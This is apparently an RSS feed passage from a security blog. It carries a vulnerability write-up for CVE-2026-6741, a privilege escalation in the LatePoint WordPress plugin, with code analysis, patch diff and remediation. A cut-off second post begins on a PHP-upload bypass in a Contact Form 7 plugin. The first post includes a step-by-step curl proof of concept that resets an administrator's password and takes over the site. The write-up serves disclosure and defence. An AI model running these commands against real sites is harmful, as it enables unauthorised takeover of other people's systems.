Escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/latepoint/&quot;&gt;LatePoint – Calendar Booking Plugin for Appointments and Events&lt;/a&gt; WordPress plugin. It affects all versions up to and including 5.4.1. An attacker with the &lt;code&gt;latepoint_agent&lt;/code&gt; role can link any LatePoint customer record to a WordPress administrator&apos;s account and then use LatePoint&apos;s own password-reset flow to overwrite the administrator&apos;s password — resulting in full site takeover.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LatePoint – Calendar Booking Plugin for Appointments and Events&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;latepoint&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6741&quot;&gt;CVE-2026-6741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authenticated (Agent+) Privilege Escalation to Administrator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/latepoint.5.4.1.zip&quot;&gt;&amp;lt;= 5.4.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/latepoint.5.4.2.zip&quot;&gt;5.4.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 27, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researchers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/latepoint-2/latepoint-541-authenticated-agent-privilege-escalation-to-administrator-via-connect-customer-to-wp-user-ability&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;An authenticated attacker with the &lt;code&gt;latepoint_agent&lt;/code&gt; role can take full control of a WordPress site by linking a LatePoint customer record to an administrator&apos;s WordPress account and then resetting that administrator&apos;s password. The vulnerability exists in the &lt;code&gt;connect-customer-to-wp-user&lt;/code&gt; ability added in LatePoint 5.3.0. The ability&apos;s &lt;code&gt;execute()&lt;/code&gt; method only checks whether the caller has the &lt;code&gt;customer__edit&lt;/code&gt; capability. It does not verify whether the target WordPress user has a privileged role. Because the agent role holds &lt;code&gt;customer__edit&lt;/code&gt; by default, any agent can link any LatePoint customer to any WordPress user — including the site administrator.&lt;/p&gt;
&lt;p&gt;Once the link is in place, the attacker triggers LatePoint&apos;s standard password-reset flow for that customer. The reset flow calls &lt;code&gt;wp_set_password()&lt;/code&gt; using the linked WordPress user ID. This overwrites the administrator&apos;s password with one the attacker controls, giving them full site access.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Architecture: The WordPress Abilities API&lt;/h3&gt;
&lt;p&gt;LatePoint 5.3.0 introduced support for the WordPress Abilities API (WordPress 6.9+). This API lets plugins register named &quot;abilities&quot; — callable tools that are exposed over the REST API for use by AI agents and automation. LatePoint registers its abilities in &lt;code&gt;lib/abilities/class-latepoint-abilities.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// latepoint.php (5.4.1, line 907)
if ( function_exists( &apos;wp_register_ability&apos; ) ) {
    include_once LATEPOINT_ABSPATH . &apos;lib/abilities/class-latepoint-abilities.php&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each ability class extends &lt;code&gt;LatePointAbstractAbility&lt;/code&gt;, which provides &lt;code&gt;check_permission()&lt;/code&gt;. That method calls &lt;code&gt;OsRolesHelper::can_user($this-&amp;gt;permission)&lt;/code&gt; — a single capability check against the currently logged-in backend user.&lt;/p&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerable ability is &lt;code&gt;LatePointAbilityConnectCustomerToWpUser&lt;/code&gt;, located at &lt;code&gt;lib/abilities/customers/connect-customer-to-wp-user.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Capability declaration (line 12):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected function configure(): void {
    $this-&amp;gt;id         = &apos;latepoint/connect-customer-to-wp-user&apos;;
    $this-&amp;gt;label      = __( &apos;Connect customer to WP user&apos;, &apos;latepoint&apos; );
    $this-&amp;gt;permission = &apos;customer__edit&apos;;   // ← only capability required
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The agent role holds &lt;code&gt;customer__edit&lt;/code&gt; by default. See &lt;code&gt;lib/helpers/roles_helper.php&lt;/code&gt;, &lt;code&gt;get_default_capabilities_list_for_agent_role()&lt;/code&gt; (line 401):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        &apos;customer__edit&apos;,   // ← agents can edit customers
        ...
    ];
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — The &lt;code&gt;execute()&lt;/code&gt; method (lines 39–60):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function execute( array $args ) {
    $customer = new OsCustomerModel( (int) $args[&apos;customer_id&apos;] );
    if ( $customer-&amp;gt;is_new_record() ) {
        return new WP_Error( &apos;not_found&apos;, ... );
    }

    $wp_user_id = (int) $args[&apos;wp_user_id&apos;];
    if ( ! get_userdata( $wp_user_id ) ) {
        // Only checks: does the user exist?
        // MISSING: does the user have a non-privileged role?
        return new WP_Error( &apos;wp_user_not_found&apos;, ... );
    }

    $customer-&amp;gt;wordpress_user_id = $wp_user_id;  // ← links customer to any WP user
    $customer-&amp;gt;save();

    return $this-&amp;gt;serialize_customer( ... );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The method verifies the WordPress user exists with &lt;code&gt;get_userdata()&lt;/code&gt;. It does not inspect the user&apos;s roles. An agent can pass the administrator&apos;s user ID and the call succeeds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Password reset chain (&lt;code&gt;lib/models/customer_model.php&lt;/code&gt;, line 315):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers() &amp;amp;&amp;amp; $this-&amp;gt;wordpress_user_id ) {
        ...
        wp_set_password( $password, $this-&amp;gt;wordpress_user_id );  // ← overwrites WP user password
        ...
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a customer password reset is completed in &lt;code&gt;lib/controllers/customer_cabinet_controller.php&lt;/code&gt;, the controller calls &lt;code&gt;$customer-&amp;gt;update_password($new_password)&lt;/code&gt;. If &lt;code&gt;$customer-&amp;gt;wordpress_user_id&lt;/code&gt; points to an administrator (set in Step 2), &lt;code&gt;wp_set_password()&lt;/code&gt; overwrites the administrator&apos;s password.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;execute()&lt;/code&gt; method does not check the roles of the target WordPress user. It only verifies that the user exists. This allows an agent to link a customer record to any WordPress account, including administrators.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;check_permission()&lt;/code&gt; method (in &lt;code&gt;LatePointAbstractAbility&lt;/code&gt;, line 47) runs one check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function check_permission(): bool {
    return OsRolesHelper::can_user( $this-&amp;gt;permission );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirms the &lt;em&gt;caller&lt;/em&gt; has &lt;code&gt;customer__edit&lt;/code&gt;. It says nothing about the &lt;em&gt;target&lt;/em&gt; user. The ability&apos;s &lt;code&gt;execute()&lt;/code&gt; is responsible for validating its own inputs, but it skips the role check entirely.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An attacker with any &lt;code&gt;latepoint_agent&lt;/code&gt; account can escalate to WordPress administrator and take full control of the site. This includes the ability to install plugins, modify themes, create new admin users, steal stored data, and deploy arbitrary code.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress 6.9+ with the &lt;code&gt;latepoint&lt;/code&gt; plugin installed and activated (version &amp;lt;= 5.4.1)&lt;/li&gt;
&lt;li&gt;An attacker account with the &lt;code&gt;latepoint_agent&lt;/code&gt; WordPress role&lt;/li&gt;
&lt;li&gt;The WordPress Abilities API enabled (it is enabled by default in 5.4.1)&lt;/li&gt;
&lt;li&gt;Knowledge of the target administrator&apos;s WordPress user ID (ID 1 is common; also discoverable via &lt;code&gt;/wp-json/wp/v2/users&lt;/code&gt; if the REST API allows it)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Authenticate and get a REST API nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in as the agent user. Retrieve a valid nonce for REST API calls:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Replace with your WordPress base URL, agent username and password
WP_URL=&quot;https://target.example.com&quot;
AGENT_USER=&quot;agent_user&quot;
AGENT_PASS=&quot;agent_password&quot;

# Log in to get a cookie-based session
curl -c cookies.txt -b cookies.txt -s -X POST &quot;$WP_URL/wp-login.php&quot; \
  -d &quot;log=$AGENT_USER&amp;amp;pwd=$AGENT_PASS&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  -H &quot;Cookie: wordpress_test_cookie=WP+Cookie+check&quot;

# Get nonce for REST API
NONCE=$(curl -s -b cookies.txt &quot;$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce&quot; 2&amp;gt;/dev/null)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Create or identify a LatePoint customer record&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you don&apos;t already have a customer you control, create one via the LatePoint booking form with an email address you own. Note the customer&apos;s ID from LatePoint&apos;s admin panel.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CUSTOMER_ID=5   # Replace with the LatePoint customer ID you control
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Link the customer record to the administrator&apos;s WordPress user&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Call the &lt;code&gt;connect-customer-to-wp-user&lt;/code&gt; ability via the WordPress Abilities REST endpoint. The admin&apos;s user ID is typically 1.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ADMIN_WP_USER_ID=1   # Replace with the target admin&apos;s WordPress user ID

curl -s -b cookies.txt -X POST \
  &quot;$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -H &quot;X-WP-Nonce: $NONCE&quot; \
  -d &quot;{\&quot;customer_id\&quot;: $CUSTOMER_ID, \&quot;wp_user_id\&quot;: $ADMIN_WP_USER_ID}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response returns the customer record with &lt;code&gt;&quot;wp_user_id&quot;: 1&lt;/code&gt;. The LatePoint customer is now linked to the WordPress administrator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Trigger a password reset for the customer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit the LatePoint password reset page (or POST directly) using the email address associated with the customer record you control:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CUSTOMER_EMAIL=&quot;attacker@example.com&quot;   # Email of the LatePoint customer

curl -s -X POST &quot;$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  -d &quot;password_reset_email=$CUSTOMER_EMAIL&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LatePoint sends a password-reset email to &lt;code&gt;$CUSTOMER_EMAIL&lt;/code&gt; containing an &lt;code&gt;account_nonse&lt;/code&gt; token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Complete the password reset with a new password&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Extract the &lt;code&gt;token&lt;/code&gt; value from the reset email, then call the &lt;code&gt;change_password&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RESET_TOKEN=&quot;&amp;lt;token_from_email&amp;gt;&quot;
NEW_PASSWORD=&quot;Attacker_Password123!&quot;

curl -s -X POST &quot;$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  -d &quot;password_reset_token=$RESET_TOKEN&amp;amp;password=$NEW_PASSWORD&amp;amp;password_confirmation=$NEW_PASSWORD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;update_password()&lt;/code&gt; runs &lt;code&gt;wp_set_password($NEW_PASSWORD, 1)&lt;/code&gt; — changing the administrator&apos;s WordPress password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Log in as administrator&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST &quot;$WP_URL/wp-login.php&quot; \
  -d &quot;log=admin&amp;amp;pwd=$NEW_PASSWORD&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  -H &quot;Cookie: wordpress_test_cookie=WP+Cookie+check&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker is now authenticated as the WordPress administrator with full site control.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the escalation by accessing a privileged endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -b admin_cookies.txt &quot;$WP_URL/wp-admin/user-new.php&quot;
# Expect: 200 OK with the WordPress admin UI (not a redirect to wp-login.php)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or verify via the REST API:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;$WP_URL/wp-json/wp/v2/users/me&quot; \
  -H &quot;X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)&quot;
# Expect: &quot;roles&quot;: [&quot;administrator&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch in version 5.4.2 makes two independent changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;lib/abilities/customers/connect-customer-to-wp-user.php&lt;/code&gt;&lt;/strong&gt; — The &lt;code&gt;execute()&lt;/code&gt; method now checks the target user&apos;s roles against an allowlist before saving. Privileged roles are rejected with HTTP 403.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;latepoint.php&lt;/code&gt;&lt;/strong&gt; — The Abilities API is now disabled by default. Site administrators must explicitly enable it via a WordPress filter.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch fixes the root cause directly. It retrieves the target user&apos;s roles and compares them against a safe allowlist (&lt;code&gt;latepoint_customer&lt;/code&gt;, &lt;code&gt;subscriber&lt;/code&gt;, &lt;code&gt;customer&lt;/code&gt;). If the target user holds any role not in this list, the ability returns an error before saving anything. This prevents agents from linking customers to privileged accounts.&lt;/p&gt;
&lt;p&gt;The second change — disabling the Abilities API by default — is a defense-in-depth measure. Even if a future ability has a similar flaw, the API must be deliberately enabled before it is exposed. This limits the attack surface significantly.&lt;/p&gt;
&lt;p&gt;Note a residual risk: the allowlist is hardcoded in PHP. Any custom WordPress role added to the site that is not on this list will also block legitimate linking, even for non-privileged users. Site admins who use custom roles may need to hook into the &lt;code&gt;latepoint_enable_abilities&lt;/code&gt; filter and extend the allowlist.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/lib/abilities/customers/connect-customer-to-wp-user.php
+++ b/lib/abilities/customers/connect-customer-to-wp-user.php
@@ -42,11 +42,23 @@ class LatePointAbilityConnectCustomerToWpUser extends LatePointAbstractCustomerA
        }

-       $wp_user_id = (int) $args[&apos;wp_user_id&apos;];
-       if ( ! get_userdata( $wp_user_id ) ) {
+       $wp_user_id  = (int) $args[&apos;wp_user_id&apos;];
+       $target_user = get_userdata( $wp_user_id );
+       if ( ! $target_user ) {
                return new WP_Error( &apos;wp_user_not_found&apos;, __( &apos;WordPress user not found.&apos;, &apos;latepoint&apos; ), [ &apos;status&apos; =&amp;gt; 404 ] );
        }

+       // Only allow linking to non-privileged WP accounts using an allowlist of roles.
+       $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, &apos;subscriber&apos;, &apos;customer&apos; ];
+       $user_roles    = (array) $target_user-&amp;gt;roles;
+       if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) {
+               return new WP_Error(
+                       &apos;privileged_user&apos;,
+                       __( &apos;Cannot link a customer to a privileged WordPress account.&apos;, &apos;latepoint&apos; ),
+                       [ &apos;status&apos; =&amp;gt; 403 ]
+               );
+       }
+
        $customer-&amp;gt;wordpress_user_id = $wp_user_id;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;--- a/latepoint.php
+++ b/latepoint.php
@@ -905,7 +905,7 @@ if ( ! class_exists( &apos;LatePoint&apos; ) ) :
        // ABILITIES (WordPress 6.9+ Abilities API)
-       if ( function_exists( &apos;wp_register_ability&apos; ) ) {
+       if ( apply_filters( &apos;latepoint_enable_abilities&apos;, false ) &amp;amp;&amp;amp; function_exists( &apos;wp_register_ability&apos; ) ) {
                include_once LATEPOINT_ABSPATH . &apos;lib/abilities/class-latepoint-abilities.php&apos;;
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 27, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 27, 2026&lt;/td&gt;
&lt;td&gt;Patched version 5.4.2 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;latepoint&lt;/code&gt; plugin to version &lt;strong&gt;5.4.2&lt;/strong&gt; or later immediately. If you cannot update right away, consider removing any &lt;code&gt;latepoint_agent&lt;/code&gt; role users who should not have customer-edit access, and verify that no unexpected &lt;code&gt;wordpress_user_id&lt;/code&gt; values have been set on LatePoint customer records by running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT id, first_name, last_name, email, wordpress_user_id
FROM wp_latepoint_customers
WHERE wordpress_user_id IS NOT NULL AND wordpress_user_id != 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-reference the returned &lt;code&gt;wordpress_user_id&lt;/code&gt; values against WordPress administrators. Any customer record linked to an admin account may indicate a prior exploitation attempt.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.1/lib/abilities/customers/connect-customer-to-wp-user.php&quot;&gt;Vulnerable file — connect-customer-to-wp-user.php (5.4.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.1/lib/models/customer_model.php&quot;&gt;customer_model.php (5.4.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/latepoint/tags/5.4.1/lib/helpers/roles_helper.php&quot;&gt;roles_helper.php (5.4.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/latepoint/&quot;&gt;WordPress.org plugin page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3514330/latepoint&quot;&gt;Changeset 3514330 — patch commit&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-30T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5364: Unauthenticated Arbitrary PHP Upload in CF7 Drag and Drop Plugin</title><link>https://hurayraiit.com/blog/cve-2026-5364-arbitrary-php-upload-in-cf7-drag-and-drop/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5364-arbitrary-php-upload-in-cf7-drag-and-drop/</guid><description>CVE-2026-5364 (CVSS 8.1 High): Unauthenticated arbitrary file upload in the CF7 Drag and Drop plugin &lt;= 1.1.3 allows PHP webshell upload and potential RCE.</description><pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5364&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.1 (High)&lt;/strong&gt; Unauthenticated Arbitrary File Upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/drag-and-drop-file-upload-for-contact-form-7/&quot;&gt;Drag and Drop File Upload for Contact Form 7&lt;/a&gt; WordPress plugin. The flaw lets any unauthenticated visitor bypass the plugin&apos;s file type check. By naming a file &lt;code&gt;shell.php$&lt;/code&gt;, WordPress strips the &lt;code&gt;$&lt;/code&gt; at save time — turning it into an executable PHP file. The attacker receives the full file URL in the server&apos;s response and can use it to run code on the server.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Drag and Drop File Upload for Contact Form 7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;drag-and-drop-file-upload-for-contact-form-7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5364&quot;&gt;CVE-2026-5364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload via &lt;code&gt;sanitize_file_name&lt;/code&gt; Bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/drag-and-drop-file-upload-for-contact-form-7.1.1.2.zip&quot;&gt;&amp;lt;= 1.1.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/drag-and-drop-file-upload-for-contact-form-7.1.1.4.zip&quot;&gt;1.1.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Thomas Sanzey&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-file-upload-for-contact-form-7/drag-and-drop-file-upload-for-contact-form-7-113-unauthenticated-arbitrary-file-upload-via-sanitize-file-name-bypass&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. The plugin reads the file extension from the uploaded filename before cleaning it. It also lets the attacker set the &lt;code&gt;type&lt;/code&gt; parameter — the list of allowed extensions — instead of using admin-configured values. This means the plugin validates the raw extension (&lt;code&gt;php$&lt;/code&gt;) but saves the file with the cleaned extension (&lt;code&gt;php&lt;/code&gt;). WordPress strips the &lt;code&gt;$&lt;/code&gt; at save time, so the file lands on disk as a PHP file. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution. However, an &lt;code&gt;.htaccess&lt;/code&gt; file and random filenames limit the real-world impact.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability spans two files: &lt;code&gt;frontend/index.php&lt;/code&gt; and &lt;code&gt;backend/index.php&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Step 1: Nonce Exposed to All Frontend Visitors&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;frontend/index.php&lt;/code&gt;, line 15&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp_localize_script(&apos;cf7_file_uploads&apos;, &apos;cf7_file_uploads&apos;, array(
    &apos;ajax_url&apos; =&amp;gt; admin_url(&apos;admin-ajax.php&apos;),
